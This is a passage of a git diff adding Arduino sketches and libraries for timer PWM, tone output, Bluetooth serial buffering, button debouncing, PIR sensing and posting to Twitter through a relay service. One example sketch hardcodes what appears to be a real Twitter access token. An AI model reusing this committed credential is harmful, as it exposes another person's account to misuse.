microseconds) +{ + long cycles = (F_CPU / 2000000) * microseconds; // the counter runs backwards after TOP, interrupt is at BOTTOM so divide microseconds by 2 + if(cycles < RESOLUTION) clockSelectBits = _BV(CS10); // no prescale, full xtal + else if((cycles >>= 3) < RESOLUTION) clockSelectBits = _BV(CS11); // prescale by /8 + else if((cycles >>= 3) < RESOLUTION) clockSelectBits = _BV(CS11) | _BV(CS10); // prescale by /64 + else if((cycles >>= 2) < RESOLUTION) clockSelectBits = _BV(CS12); // prescale by /256 + else if((cycles >>= 2) < RESOLUTION) clockSelectBits = _BV(CS12) | _BV(CS10); // prescale by /1024 + else cycles = RESOLUTION - 1, clockSelectBits = _BV(CS12) | _BV(CS10); // request was out of bounds, set as maximum + ICR1 = pwmPeriod = cycles; // ICR1 is TOP in p & f correct pwm mode + TCCR1B &= ~(_BV(CS10) | _BV(CS11) | _BV(CS12)); + TCCR1B |= clockSelectBits; // reset clock select register +} + +void TimerOne::setPwmDuty(char pin, int duty) +{ + unsigned long dutyCycle = pwmPeriod; + dutyCycle *= duty; + dutyCycle >>= 10; + if(pin == 1 || pin == 9) OCR1A = dutyCycle; + else if(pin == 2 || pin == 10) OCR1B = dutyCycle; +} + +void TimerOne::pwm(char pin, int duty, long microseconds) // expects duty cycle to be 10 bit (1024) +{ + if(microseconds > 0) setPeriod(microseconds); + if(pin == 1 || pin == 9) { + DDRB |= _BV(PORTB1); // sets data direction register for pwm output pin + TCCR1A |= _BV(COM1A1); // activates the output pin + } + else if(pin == 2 || pin == 10) { + DDRB |= _BV(PORTB2); + TCCR1A |= _BV(COM1B1); + } + setPwmDuty(pin, duty); + start(); +} + +void TimerOne::disablePwm(char pin) +{ + if(pin == 1 || pin == 9) TCCR1A &= ~_BV(COM1A1); // clear the bit that enables pwm on PB1 + else if(pin == 2 || pin == 10) TCCR1A &= ~_BV(COM1B1); // clear the bit that enables pwm on PB2 +} + +void TimerOne::attachInterrupt(void (*isr)(), long microseconds) +{ + if(microseconds > 0) setPeriod(microseconds); + isrCallback = isr; // register the user's callback with the real ISR + TIMSK1 = _BV(TOIE1); // sets the timer overflow interrupt enable bit + sei(); // ensures that interrupts are globally enabled + start(); +} + +void TimerOne::detachInterrupt() +{ + TIMSK1 &= ~_BV(TOIE1); // clears the timer overflow interrupt enable bit +} + +void TimerOne::start() +{ + TCCR1B |= clockSelectBits; +} + +void TimerOne::stop() +{ + TCCR1B &= ~(_BV(CS10) | _BV(CS11) | _BV(CS12)); // clears all clock selects bits +} + +void TimerOne::restart() +{ + TCNT1 = 0; +} + +unsigned long TimerOne::read() //returns the value of the timer in microseconds +{ //rember! phase and freq correct mode counts up to then down again + unsigned int tmp=TCNT1; + char scale=0; + switch (clockSelectBits) + { + case 1:// no prescalse + scale=0; + break; + case 2:// x8 prescale + scale=3; + break; + case 3:// x64 + scale=6; + break; + case 4:// x256 + scale=8; + break; + case 5:// x1024 + scale=10; + break; + } + while (TCNT1==tmp) //if the timer has not ticked yet + { + //do nothing -- max delay here is ~1023 cycles + } + tmp = ( (TCNT1>tmp) ? (tmp) : (ICR1-TCNT1)+ICR1 );//if we are counting down add the top value to how far we have counted down + return ((tmp*1000L)/(F_CPU /1000L))< +#include + +#define RESOLUTION 65536 // Timer1 is 16 bit + +class TimerOne +{ + public: + + // properties + unsigned int pwmPeriod; + unsigned char clockSelectBits; + + // methods + void initialize(long microseconds=1000000); + void start(); + void stop(); + void restart(); + unsigned long read(); + void pwm(char pin, int duty, long microseconds=-1); + void disablePwm(char pin); + void attachInterrupt(void (*isr)(), long microseconds=-1); + void detachInterrupt(); + void setPeriod(long microseconds); + void setPwmDuty(char pin, int duty); + void (*isrCallback)(); +}; + +extern TimerOne Timer1; +#endif \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/Twitter/Twitter.cpp b/Projects/libraries/Installed_libs/Twitter/Twitter.cpp new file mode 100755 index 0000000..026064b --- /dev/null +++ b/Projects/libraries/Installed_libs/Twitter/Twitter.cpp @@ -0,0 +1,91 @@ +/* + Twitter.cpp - Arduino library to Post messages to Twitter using OAuth. + Copyright (c) NeoCat 2010-2011. All right reserved. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + */ + +// ver1.2 - Use +// ver1.3 - Support IDE 1.0 + +#include +#include "Twitter.h" + +#define LIB_DOMAIN "arduino-tweet.appspot.com" + +#if defined(ARDUINO) && ARDUINO < 100 +static uint8_t server[] = {0,0,0,0}; // IP address of LIB_DOMAIN +Twitter::Twitter(const char *token) : client(server, 80), token(token) +{ +} +#else +Twitter::Twitter(const char *token) : token(token) +{ +} +#endif + +bool Twitter::post(const char *msg) +{ +#if defined(ARDUINO) && ARDUINO < 100 + DNSError err = EthernetDNS.resolveHostName(LIB_DOMAIN, server); + if (err != DNSSuccess) { + return false; + } +#endif + parseStatus = 0; + statusCode = 0; +#if defined(ARDUINO) && ARDUINO < 100 + if (client.connect()) { +#else + if (client.connect(LIB_DOMAIN, 80)) { +#endif + client.println("POST http://" LIB_DOMAIN "/update HTTP/1.0"); + client.print("Content-Length: "); + client.println(strlen(msg)+strlen(token)+14); + client.println(); + client.print("token="); + client.print(token); + client.print("&status="); + client.println(msg); + } else { + return false; + } + return true; +} + +bool Twitter::checkStatus(Print *debug) +{ + if (!client.connected()) { + if (debug) + while(client.available()) + debug->print((char)client.read()); + client.flush(); + client.stop(); + return false; + } + if (!client.available()) + return true; + char c = client.read(); + if (debug) + debug->print(c); + switch(parseStatus) { + case 0: + if (c == ' ') parseStatus++; break; // skip "HTTP/1.1 " + case 1: + if (c >= '0' && c <= '9') { + statusCode *= 10; + statusCode += c - '0'; + } else { + parseStatus++; + } + } + return true; +} + +int Twitter::wait(Print *debug) +{ + while (checkStatus(debug)); + return statusCode; +} diff --git a/Projects/libraries/Installed_libs/Twitter/Twitter.h b/Projects/libraries/Installed_libs/Twitter/Twitter.h new file mode 100755 index 0000000..0f06ad7 --- /dev/null +++ b/Projects/libraries/Installed_libs/Twitter/Twitter.h @@ -0,0 +1,46 @@ +/* + Twitter.cpp - Arduino library to Post messages to Twitter using OAuth. + Copyright (c) NeoCat 2010-2011. All right reserved. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + */ + +// ver1.2 - Use to support IDE 0019 or later +// ver1.3 - Support IDE 1.0 + +#ifndef TWITTER_H +#define TWITTER_H + +#include +#include +#if defined(ARDUINO) && ARDUINO > 18 // Arduino 0019 or later +#include +#endif +#include +#if defined(ARDUINO) && ARDUINO < 100 // earlier than Arduino 1.0 +#include +#endif + +class Twitter +{ +private: + uint8_t parseStatus; + int statusCode; + const char *token; +#if defined(ARDUINO) && ARDUINO < 100 + Client client; +#else + EthernetClient client; +#endif +public: + Twitter(const char *user_and_passwd); + + bool post(const char *msg); + bool checkStatus(Print *debug = NULL); + int wait(Print *debug = NULL); + int status(void) { return statusCode; } +}; + +#endif //TWITTER_H diff --git a/Projects/libraries/Installed_libs/Twitter/examples/SimplePost/SimplePost.pde b/Projects/libraries/Installed_libs/Twitter/examples/SimplePost/SimplePost.pde new file mode 100755 index 0000000..a525922 --- /dev/null +++ b/Projects/libraries/Installed_libs/Twitter/examples/SimplePost/SimplePost.pde @@ -0,0 +1,49 @@ +#include // needed in Arduino 0019 or later +#include +#include + +// The includion of EthernetDNS is not needed in Arduino IDE 1.0 or later. +// Please uncomment below in Arduino IDE 0022 or earlier. +//#include + + +// Ethernet Shield Settings +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; + +// If you don't specify the IP address, DHCP is used(only in Arduino 1.0 or later). +byte ip[] = { 192, 168, 2, 250 }; + +// Your Token to Tweet (get it from http://arduino-tweet.appspot.com/) +Twitter twitter("YOUR-TOKEN-HERE"); + +// Message to post +char msg[] = "Hello, World! I'm Arduino!"; + +void setup() +{ + delay(1000); + Ethernet.begin(mac, ip); + // or you can use DHCP for autoomatic IP address configuration. + // Ethernet.begin(mac); + Serial.begin(9600); + + Serial.println("connecting ..."); + if (twitter.post(msg)) { + // Specify &Serial to output received response to Serial. + // If no output is required, you can just omit the argument, e.g. + // int status = twitter.wait(); + int status = twitter.wait(&Serial); + if (status == 200) { + Serial.println("OK."); + } else { + Serial.print("failed : code "); + Serial.println(status); + } + } else { + Serial.println("connection failed."); + } +} + +void loop() +{ +} diff --git a/Projects/libraries/Installed_libs/Twitter/examples/Twitter_Serial_GW/Twitter_Serial_GW.ino b/Projects/libraries/Installed_libs/Twitter/examples/Twitter_Serial_GW/Twitter_Serial_GW.ino new file mode 100755 index 0000000..1a6724b --- /dev/null +++ b/Projects/libraries/Installed_libs/Twitter/examples/Twitter_Serial_GW/Twitter_Serial_GW.ino @@ -0,0 +1,80 @@ +#include // needed in Arduino 0019 or later +#include +#include + +// The includion of EthernetDNS is not needed in Arduino IDE 1.0 or later. +// Please uncomment below in Arduino IDE 0022 or earlier. +//#include + + +// Sample : Serial port => Twitter gateway +// Run this program on Arduino and connect via some Serial port terminal software. +// Type a message and hit enter key, and it will be posted to Twitter. +// Arduino IDE Serial Monitor is not usable because it doesn't seem able to send Enter key code. + +// Ethernet Shield Settings +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; + +// If you don't specify the IP address, DHCP is used(only in Arduino 1.0 or later). +byte ip[] = { 192, 168, 2, 250 }; + +// Your Token to Tweet (get it from http://arduino-tweet.appspot.com/) +Twitter twitter("2307428619-jTdwfFJ4r9aYuaYHQ2YeqBWQNOy6nSg6aTRequb"); + + +char msg[141] = "Test01"; +int len = 0; + +void setup() +{ + delay(1000); + Ethernet.begin(mac, ip); + // or you can use DHCP for autoomatic IP address configuration. + // Ethernet.begin(mac); + + Serial.begin(9600); + Serial.print("> "); +} + +void loop() +{ + if (Serial.available() > 0) { + char recv = msg[len++] = Serial.read(); + if (recv == '\b' || recv == 127) { // Backspace + if (len > 1) { + len -= 2; + Serial.print("\b \b"); + } + } + else if (recv == '\r' || recv == '\n') { // send CR/LF to post + Serial.print("\r\n"); + len--; + msg[len] = 0; + if (len > 0) + post(); + len = 0; + Serial.print("\r\n> "); + } + else if (len > 140) + len = 140; + else + Serial.print(recv); + } +} + +void post() +{ + Serial.println("connecting ..."); + if (twitter.post(msg)) { + int status = twitter.wait(); + if (status == 200) { + Serial.println("OK."); + } else { + Serial.print("failed : code "); + Serial.println(status); + } + } else { + Serial.println("connection failed."); + } + delay(1000); +} diff --git a/Projects/libraries/Installed_libs/Twitter/keywords.txt b/Projects/libraries/Installed_libs/Twitter/keywords.txt new file mode 100755 index 0000000..da10403 --- /dev/null +++ b/Projects/libraries/Installed_libs/Twitter/keywords.txt @@ -0,0 +1,22 @@ +####################################### +# Syntax Coloring Map For Twitter +####################################### + +####################################### +# Datatypes (KEYWORD1) +####################################### + +Twitter KEYWORD1 + +####################################### +# Methods and Functions (KEYWORD2) +####################################### + +post KEYWORD2 +getStatus KEYWORD2 +checkStatus KEYWORD2 +wait KEYWORD2 + +####################################### +# Constants (LITERAL1) +####################################### diff --git a/Projects/libraries/Installed_libs/readme.txt b/Projects/libraries/Installed_libs/readme.txt new file mode 100755 index 0000000..a8f1390 --- /dev/null +++ b/Projects/libraries/Installed_libs/readme.txt @@ -0,0 +1 @@ +For information on installing libraries, see: http://arduino.cc/en/Guide/Libraries diff --git a/Projects/libraries/Installed_libs/toneAC/examples/toneAC_demo/toneAC_demo.pde b/Projects/libraries/Installed_libs/toneAC/examples/toneAC_demo/toneAC_demo.pde new file mode 100755 index 0000000..f91cae4 --- /dev/null +++ b/Projects/libraries/Installed_libs/toneAC/examples/toneAC_demo/toneAC_demo.pde @@ -0,0 +1,35 @@ +// --------------------------------------------------------------------------- +// Connect your piezo buzzer (without internal oscillator) or speaker to these pins: +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega +// Pins 12 & 13 - ATmega1284P, ATmega644 +// Pins 14 & 15 - Teensy 2.0 +// Pins 25 & 26 - Teensy++ 2.0 +// Be sure to include an inline 100 ohm resistor on one pin as you normally do when connecting a piezo or speaker. +// --------------------------------------------------------------------------- + +#include + +// Melody liberated from the toneMelody Arduino example sketch by Tom Igoe. +int melody[] = { 262, 196, 196, 220, 196, 0, 247, 262 }; +int noteDurations[] = { 4, 8, 8, 4, 4, 4, 4, 4 }; + +void setup() {} // Nothing to setup, just start playing! + +void loop() { + for (unsigned long freq = 125; freq <= 15000; freq += 10) { + toneAC(freq); // Play the frequency (125 Hz to 15 kHz sweep in 10 Hz steps). + delay(1); // Wait 1 ms so you can hear it. + } + toneAC(); // Turn off toneAC, can also use noToneAC(). + + delay(1000); // Wait a second. + + for (int thisNote = 0; thisNote < 8; thisNote++) { + int noteDuration = 1000/noteDurations[thisNote]; + toneAC(melody[thisNote], 10, noteDuration, true); // Play thisNote at full volume for noteDuration in the background. + delay(noteDuration * 4 / 3); // Wait while the tone plays in the background, plus another 33% delay between notes. + } + + while(1); // Stop (so it doesn't repeat forever driving you crazy--you're welcome). +} \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/toneAC/examples/toneAC_dual_LED/toneAC_dual_LED.pde b/Projects/libraries/Installed_libs/toneAC/examples/toneAC_dual_LED/toneAC_dual_LED.pde new file mode 100755 index 0000000..76ea2a0 --- /dev/null +++ b/Projects/libraries/Installed_libs/toneAC/examples/toneAC_dual_LED/toneAC_dual_LED.pde @@ -0,0 +1,25 @@ +// --------------------------------------------------------------------------- +// Connect a two-pin dual LED to the following pins with inline 220 ohm resistor. +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega +// Pins 12 & 13 - ATmega1284P, ATmega644 +// Pins 14 & 15 - Teensy 2.0 +// Pins 25 & 26 - Teensy++ 2.0 +// Connect the center lead of a potentiometer to analog pin A0 and the other two leads to +5V and ground. +// --------------------------------------------------------------------------- + +#include + +unsigned long timestamp = 0; // Stores when the next time the routine is set to run. + +void setup() {} + +void loop() { + if (millis() > timestamp) { // Is it time yet? + timestamp += 500; // Set the next time routine will run. 500 ms because the lowest frequency is 2 Hz, which is a half second. + int pot = analogRead(A0); // Read the potentiometer connected to analog pin A0 to control alternating flashing speed. + int freq = map(pot, 0, 1023, 2, 40); // Convert pot analog values to a range from 2 to 40 Hz. + toneAC(freq, 10, 0, true); // Set the frequency and have it run forever in the background (next event should take over in 500 ms). + } + /* Do a bunch of other stuff here, it won't affect toneAC doing its thing. */ +} diff --git a/Projects/libraries/Installed_libs/toneAC/keywords.txt b/Projects/libraries/Installed_libs/toneAC/keywords.txt new file mode 100755 index 0000000..05c2936 --- /dev/null +++ b/Projects/libraries/Installed_libs/toneAC/keywords.txt @@ -0,0 +1,18 @@ +################################### +# Syntax Coloring Map For toneAC +################################### + +################################### +# Datatypes (KEYWORD1) +################################### + +################################### +# Methods and Functions (KEYWORD2) +################################### + +toneAC KEYWORD2 +noToneAC KEYWORD2 + +################################### +# Constants (LITERAL1) +################################### diff --git a/Projects/libraries/Installed_libs/toneAC/toneAC.cpp b/Projects/libraries/Installed_libs/toneAC/toneAC.cpp new file mode 100755 index 0000000..ca70d1f --- /dev/null +++ b/Projects/libraries/Installed_libs/toneAC/toneAC.cpp @@ -0,0 +1,68 @@ +// --------------------------------------------------------------------------- +// Created by Tim Eckel - teckel@leethost.com +// Copyright 2013 License: GNU GPL v3 http://www.gnu.org/licenses/gpl-3.0.html +// +// See "toneAC.h" for purpose, syntax, version history, links, and more. +// --------------------------------------------------------------------------- + +#include "toneAC.h" + +unsigned long _tAC_time; // Used to track end note with timer when playing note in the background. +#ifndef TONEAC_TINY +uint8_t _tAC_volume[] = { 200, 100, 67, 50, 40, 33, 29, 22, 11, 2 }; // Duty for linear volume control. +#endif + +#ifndef TONEAC_TINY +void toneAC(unsigned long frequency, uint8_t volume, unsigned long length, uint8_t background) { + if (frequency == 0 || volume == 0) { noToneAC(); return; } // If frequency or volume are 0, turn off sound and return. + if (volume > 10) volume = 10; // Make sure volume is in range (1 to 10). +#else +void toneAC(unsigned long frequency, unsigned long length) { + if (frequency == 0) { noToneAC(); return; } // If frequency is 0, turn off sound and return. +#endif + + PWMT1DREG |= _BV(PWMT1AMASK) | _BV(PWMT1BMASK); // Set timer 1 PWM pins to OUTPUT (because analogWrite does it too). + + uint8_t prescaler = _BV(CS10); // Try using prescaler 1 first. + unsigned long top = F_CPU / frequency / 2 - 1; // Calculate the top. + if (top > 65535) { // If not in the range for prescaler 1, use prescaler 256 (122 Hz and lower @ 16 MHz). + prescaler = _BV(CS12); // Set the 256 prescaler bit. + top = top / 256 - 1; // Calculate the top using prescaler 256. + } +#ifndef TONEAC_TINY + unsigned int duty = top / _tAC_volume[volume - 1]; // Calculate the duty cycle (volume). +#else + unsigned int duty = top >> 1; // 50% duty cycle (loudest and highest quality). +#endif + +#ifndef TONEAC_TINY + if (length > 0 && background) { // Background tone playing, returns control to your sketch. +#else + if (length > 0) { // Background tone playing, returns control to your sketch. +#endif + _tAC_time = millis() + length; // Set when the note should end. + TIMSK1 |= _BV(OCIE1A); // Activate the timer interrupt. + } + + ICR1 = top; // Set the top. + if (TCNT1 > top) TCNT1 = top; // Counter over the top, put within range. + TCCR1B = _BV(WGM13) | prescaler; // Set PWM, phase and frequency corrected (top=ICR1) and prescaler. + OCR1A = OCR1B = duty; // Set the duty cycle (volume). + TCCR1A = _BV(COM1A1) | _BV(COM1B1) | _BV(COM1B0); // Inverted/non-inverted mode (AC). + +#ifndef TONEAC_TINY + if (length > 0 && !background) { delay(length); noToneAC(); } // Just a simple delay, doesn't return control till finished. +#endif +} + +void noToneAC() { + TIMSK1 &= ~_BV(OCIE1A); // Remove the timer interrupt. + TCCR1B = _BV(CS11); // Default clock prescaler of 8. + TCCR1A = _BV(WGM10); // Set to defaults so PWM can work like normal (PWM, phase corrected, 8bit). + PWMT1PORT &= ~_BV(PWMT1AMASK); // Set timer 1 PWM pins to LOW. + PWMT1PORT &= ~_BV(PWMT1BMASK); // Other timer 1 PWM pin also to LOW. +} + +ISR(TIMER1_COMPA_vect) { // Timer interrupt vector. + if (millis() >= _tAC_time) noToneAC(); // Check to see if it's time for the note to end. +} \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/toneAC/toneAC.h b/Projects/libraries/Installed_libs/toneAC/toneAC.h new file mode 100755 index 0000000..f42c985 --- /dev/null +++ b/Projects/libraries/Installed_libs/toneAC/toneAC.h @@ -0,0 +1,111 @@ +// --------------------------------------------------------------------------- +// toneAC Library - v1.2 - 01/27/2013 +// +// AUTHOR/LICENSE: +// Created by Tim Eckel - teckel@leethost.com +// Copyright 2013 License: GNU GPL v3 http://www.gnu.org/licenses/gpl-3.0.html +// +// LINKS: +// Project home: http://code.google.com/p/arduino-tone-ac/ +// Blog: http://arduino.cc/forum/index.php/topic,142097.msg1066968.html +// +// DISCLAIMER: +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// PURPOSE: +// Replacement to the standard tone library with the advantage of nearly twice +// the volume, higher frequencies (even if running at a lower clock speed), +// higher quality (less clicking), nearly 1.5k smaller compiled code and less +// stress on the speaker. Disadvantages are that it must use certain pins and +// it uses two pins instead of one. But, if you're flexible with your pin +// choices, this is a great upgrade. It also uses timer 1 instead of timer 2, +// which may free up a conflict you have with the tone library. It exclusively +// uses port registers for the fastest and smallest code possible. +// +// USAGE: +// Connection is very similar to a piezo or standard speaker. Except, instead +// of connecting one speaker wire to ground you connect both speaker wires to +// Arduino pins. The pins you connect to are specific, as toneAC lets the +// ATmega microcontroller do all the pin timing and switching. This is +// important due to the high switching speed possible with toneAC and to make +// sure the pins are alyways perfectly out of phase with each other +// (push/pull). See the below CONNECTION section for which pins to use for +// different Arduinos. Just as usual when connecting a speaker, make sure you +// add an inline 100 ohm resistor between one of the pins and the speaker wire. +// +// CONNECTION: +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega +// Pins 12 & 13 - ATmega1284P, ATmega644 +// Pins 14 & 15 - Teensy 2.0 +// Pins 25 & 26 - Teensy++ 2.0 +// +// SYNTAX: +// toneAC( frequency [, volume [, length [, background ]]] ) - Play a note. +// Parameters: +// * frequency - Play the specified frequency indefinitely, turn off with toneAC(). +// * volume - [optional] Set a volume level. (default: 10, range: 0 to 10 [0 = off]) +// * length - [optional] Set the length to play in milliseconds. (default: 0 [forever], range: 0 to 2^32-1) +// * background - [optional] Play note in background or pause till finished? (default: false, values: true/false) +// toneAC() - Stop playing. +// noToneAC() - Same as toneAC(). +// +// HISTORY: +// 01/27/2013 v1.2 - Fixed a counter error which went "over the top" and caused +// periods of silence (thanks Krodal). For advanced users needing tight code, +// the TONEAC_TINY switch in toneAC.h activates a version of toneAC() that +// saves 110 bytes. With TONEAC_TINY, the syntax is toneAC(frequency, length) +// while playing the note at full volume forever in the background. Added +// support for the ATmega 640, 644, 1281, 1284P and 2561 microcontrollers. +// +// 01/16/2013 v1.1 - Option to play notes in background, returning control back +// to your sketch for processing while note plays (similar to the way the tone +// library works). Volume is now linear and in the range from 0-10. Now uses +// prescaler 256 instead of 64 for frequencies below 122 Hz so it can go down +// to 1 Hz no matter what speed the CPU is clocked at (helpful if using toneAC +// to control a two-pin dual LED). +// +// 01/11/2013 v1.0 - Initial release. +// +// --------------------------------------------------------------------------- + +#ifndef toneAC_h + #define toneAC_h + + #if defined(ARDUINO) && ARDUINO >= 100 + #include + #else + #include + #endif + + //#define TONEAC_TINY // Uncomment to use alternate function toneAC(frequency, length) that saves 110 bytes. + + #if defined (__AVR_ATmega32U4__) || defined(__AVR_ATmega640__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega1281__) || defined(__AVR_ATmega2560__) || defined(__AVR_ATmega2561__) + #define PWMT1AMASK DDB5 + #define PWMT1BMASK DDB6 + #define PWMT1DREG DDRB + #define PWMT1PORT PORTB + #elif defined(__AVR_ATmega1284P__) || defined(__AVR_ATmega644__) || defined(__AVR_ATmega644P__) + #define PWMT1AMASK DDD4 + #define PWMT1BMASK DDD5 + #define PWMT1DREG DDRD + #define PWMT1PORT PORTD + #else + #define PWMT1AMASK DDB1 + #define PWMT1BMASK DDB2 + #define PWMT1DREG DDRB + #define PWMT1PORT PORTB + #endif + + #if defined(__AVR_ATmega8__) || defined(__AVR_ATmega128__) + #define TIMSK1 TIMSK + #endif + + #ifndef TONEAC_TINY + void toneAC(unsigned long frequency = 0, uint8_t volume = 10, unsigned long length = 0, uint8_t background = false); + #else + void toneAC(unsigned long frequency = 0, unsigned long length = 0); + #endif + void noToneAC(); +#endif \ No newline at end of file diff --git a/Projects/libraries/PLabBT/PLabBTSerial.cpp b/Projects/libraries/PLabBT/PLabBTSerial.cpp new file mode 100644 index 0000000..8e1e7d5 --- /dev/null +++ b/Projects/libraries/PLabBT/PLabBTSerial.cpp @@ -0,0 +1,85 @@ +#include + +int PLabBTSerial::read() { + if (_available) + { + int r = _buffer[_retLoc]; + _available--; + if (_available) + { + _retLoc++; + } + else + { + _bLoc = 0; + _retLoc = 0; + } + return r; + } + return -1; +} + +void PLabBTSerial::read(char* buffer, int bufferSize) { + if (_available > bufferSize) + { + return; + } + int i = 0; + while (_available) + { + buffer[i] = read(); + i++; + } +} + +int PLabBTSerial::available() +{ + if (_available > 0) + { + return _available; + } + while (SoftwareSerial::available() > 0) + { + _buffer[_bLoc] = SoftwareSerial::read(); + if (_buffer[_bLoc] == '\r') + { + // Should just skip + } + else if (_buffer[_bLoc] == '\n') + { + // New line found. End string and return available data count + _buffer[_bLoc] = '\0'; + _available = (_bLoc - _retLoc) + 1; + return _available; + } + else + { + _bLoc++; + } + while (_bLoc >= _bufferSize) + { + _bLoc--; + } + } + return 0; +} + +// Constructor +PLabBTSerial::PLabBTSerial(uint8_t receivePin, uint8_t transmitPin, bool inverse_logic /*= false*/, uint8_t bufferSize /*= 50*/) : + SoftwareSerial(receivePin, transmitPin, inverse_logic) +{ + _bufferSize = bufferSize; + _buffer = new char[_bufferSize]; + _bLoc = 0; + _retLoc = 0; + _available = 0; +} + +// Destructor +PLabBTSerial::~PLabBTSerial() +{ + delete[] _buffer; + end(); +} + + diff --git a/Projects/libraries/PLabBT/PLabBTSerial.h b/Projects/libraries/PLabBT/PLabBTSerial.h new file mode 100644 index 0000000..6a30cc9 --- /dev/null +++ b/Projects/libraries/PLabBT/PLabBTSerial.h @@ -0,0 +1,46 @@ + +/* + * PLabBTSerial + * Version 0.1 February, 2015 + * Library that simplify serial line communication using SoftwareSerial. + * Allows the user to batch up characters to form an entire line before reading + * + * Author Inge Edward Halsaunet + */ + + +#ifndef PLAB_BT_SERIAL_H +#define PLAB_BT_SERIAL_H + +#include +#include + +class PLabBTSerial : public SoftwareSerial +{ +private: + // Size of buffer. + uint8_t _bufferSize; + // how far is written into the buffer + uint8_t _bLoc; + // How much is read from user + uint8_t _retLoc; + // How much is left available to read on this line + int _available; + // the buffer + char *_buffer; +public: + PLabBTSerial(uint8_t receivePin, uint8_t transmitPin, bool inverse_logic = false, uint8_t bufferSize = 50); + ~PLabBTSerial(); + + // The ones that will be overriden + virtual int read(); + virtual int available(); + + // Completely new method. Fills the given buffer with data received, + // given the buffer is large enough. Given buffer size identified as + // bufferSize + virtual void read(char* buffer, int bufferSize); + +}; + +#endif diff --git a/Projects/libraries/plab-library-master/PushButton.cpp b/Projects/libraries/plab-library-master/PushButton.cpp new file mode 100644 index 0000000..dd155cf --- /dev/null +++ b/Projects/libraries/plab-library-master/PushButton.cpp @@ -0,0 +1,62 @@ +#include "Arduino.h" +#include "PushButton.h" + +#define DEBOUNCE 20 // button debouncer, how many ms to debounce, 5+ ms is usually plenty + +PushButton::PushButton(int pin) +{ + _pin = pin; + _pressed = 0; + justpressed = 0; + justreleased = 0; + previousstate = 0; + currentstate = 0; + lasttime = millis(); + pinMode(_pin, INPUT); +} + +void PushButton::update() +{ + justreleased = 0; + justpressed = 0; + + if ((lasttime + DEBOUNCE) > millis()) { + // not enough time has passed to debounce + return; + } + // ok we have waited DEBOUNCE milliseconds, lets reset the timer + lasttime = millis(); + + currentstate = digitalRead(_pin); // read the button + + if (currentstate == previousstate) { + if ((_pressed == LOW) && (currentstate == LOW)) { + // just pressed + justpressed = 1; + } + else if ((_pressed == HIGH) && (currentstate == HIGH)) { + // just released + justreleased = 1; + } + _pressed = !currentstate; // remember, digital HIGH means NOT pressed + } + //Serial.println(pressed[index], DEC); + previousstate = currentstate; // keep a running tally of the buttons +} + + +boolean PushButton::isDown() +{ + return _pressed; +} + +boolean PushButton::pressed() +{ + return justpressed; +} + +boolean PushButton::released() +{ + return justreleased; +} + diff --git a/Projects/libraries/plab-library-master/PushButton.h b/Projects/libraries/plab-library-master/PushButton.h new file mode 100644 index 0000000..fc75e56 --- /dev/null +++ b/Projects/libraries/plab-library-master/PushButton.h @@ -0,0 +1,31 @@ +/* + PushButton.h - Library for Button with cebounce. + Created by Dag Svanæs, 2015. + Released into the public domain. +*/ + +#ifndef PushButton_h +#define PushButton_h + +#include "Arduino.h" + + +#define DEBOUNCE 20 // button debouncer, how many ms to debounce, 5+ ms is usually plenty + +class PushButton +{ + public: + PushButton(int pin); + void update(); + boolean isDown(); + boolean pressed(); + boolean released(); + private: + int _pin; + byte _pressed, justpressed, justreleased; + byte previousstate; + byte currentstate; + long lasttime; +}; + +#endif \ No newline at end of file diff --git a/Projects/pir_test/pir_test.ino b/Projects/pir_test/pir_test.ino new file mode 100644 index 0000000..acc911b --- /dev/null +++ b/Projects/pir_test/pir_test.ino @@ -0,0 +1,58 @@ + +int ledPin = 13; +int inputPins[] = {2, 4}; +bool pirState[] = {0, 0}; +int val[] = {0, 0}; + +void setup() { + delay(1500); + pinMode(ledPin, OUTPUT); + pinMode(inputPins[0], INPUT); + pinMode(inputPins[1], INPUT); + Serial.begin(9600); +} + +void loop() +{ + val[0] = digitalRead(inputPins[0]); + val[1] = digitalRead(inputPins[1]); + + if (val[0] == 1) + { + if (checkState(1) == 1) { + turnOn(); + } + } + else if (val[1] == 1) + { + if (checkState(0) == 1) { + turnOn(); + } + } + + Serial.println(val[0]); + Serial.println(val[1]); + Serial.println(); + delay(100); +} + +void turnOn() +{ + digitalWrite(ledPin, HIGH); + delay(3000); + digitalWrite(ledPin, LOW); +} + +int checkState(int sensorID) +{ + int changeState = 0; + for (int i = 0; i < 10; i++) + { + if (digitalRead(inputPins[sensorID]) == 1) { + changeState = 1; + } + delay(100); + } + + return changeState; +} diff --git a/Projects/sketch_jan27a/sketch_jan27a.ino b/Projects/sketch_jan27a/sketch_jan27a.ino new file mode 100644 index 0000000..579c0a7 --- /dev/null +++ b/Projects/sketch_jan27a/sketch_jan27a.ino @@ -0,0 +1,35 @@ +// --------------------------------------------------------------------------- +// Connect your piezo buzzer (without internal oscillator) or speaker to these pins: +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega +// Pins 12 & 13 - ATmega1284P, ATmega644 +// Pins 14 & 15 - Teensy 2.0 +// Pins 25 & 26 - Teensy++ 2.0 +// Be sure to include an inline 100 ohm resistor on one pin as you normally do when connecting a piezo or speaker. +// --------------------------------------------------------------------------- + +#include + +// Melody liberated from the toneMelody Arduino example sketch by Tom 